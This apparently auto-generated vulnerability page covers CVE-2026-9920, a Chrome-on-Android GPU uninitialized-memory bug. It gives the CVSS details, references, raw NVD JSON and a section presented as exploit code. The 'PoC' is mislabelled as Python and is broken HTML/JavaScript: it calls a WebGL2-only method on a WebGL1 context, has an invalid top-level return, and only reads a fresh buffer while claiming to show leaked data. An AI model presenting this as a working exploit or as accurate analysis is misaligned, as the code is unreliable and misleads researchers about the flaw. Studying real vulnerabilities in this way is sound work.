CVE-2026-9920

Description

Uninitialized Use in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9920: GPU Uninitialized Use -->
<html>
<head>
    <title>CVE-2026-9920 PoC</title>
</head>
<body>
    <h1>Testing GPU Uninitialized Use</h1>
    <!-- Create canvas to interact with GPU context -->
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        // Try to get WebGL context to trigger GPU operations
        const gl = canvas.getContext('webgl');

        if (!gl) {
            console.log('WebGL not supported');
            return;
        }

        try {
            // Create a buffer to potentially trigger uninitialized read
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Allocate buffer without writing data (DYNAMIC_DRAW)
            gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.DYNAMIC_DRAW);
            
            // Attempt to read back data
            // In a real exploit, specific offsets and sizes would be used to leak data
            const data = new Float32Array(256);
            gl.getBufferSubData(gl.ARRAY_BUFFER, 0, data);
            
            console.log('Data read from GPU memory:', data);
            document.body.innerHTML += '<p>Check console for leaked data.</p>';
        } catch (e) {
            console.error('PoC execution failed:', e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9920
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9920
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9920/
[4] VulDB https://vuldb.com/cve/CVE-2026-9920
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/500138014

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9920", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.090", "lastModified": "2026-05-29T18:17:14.977", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized Use in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500138014", "source": "[email protected]"}]}}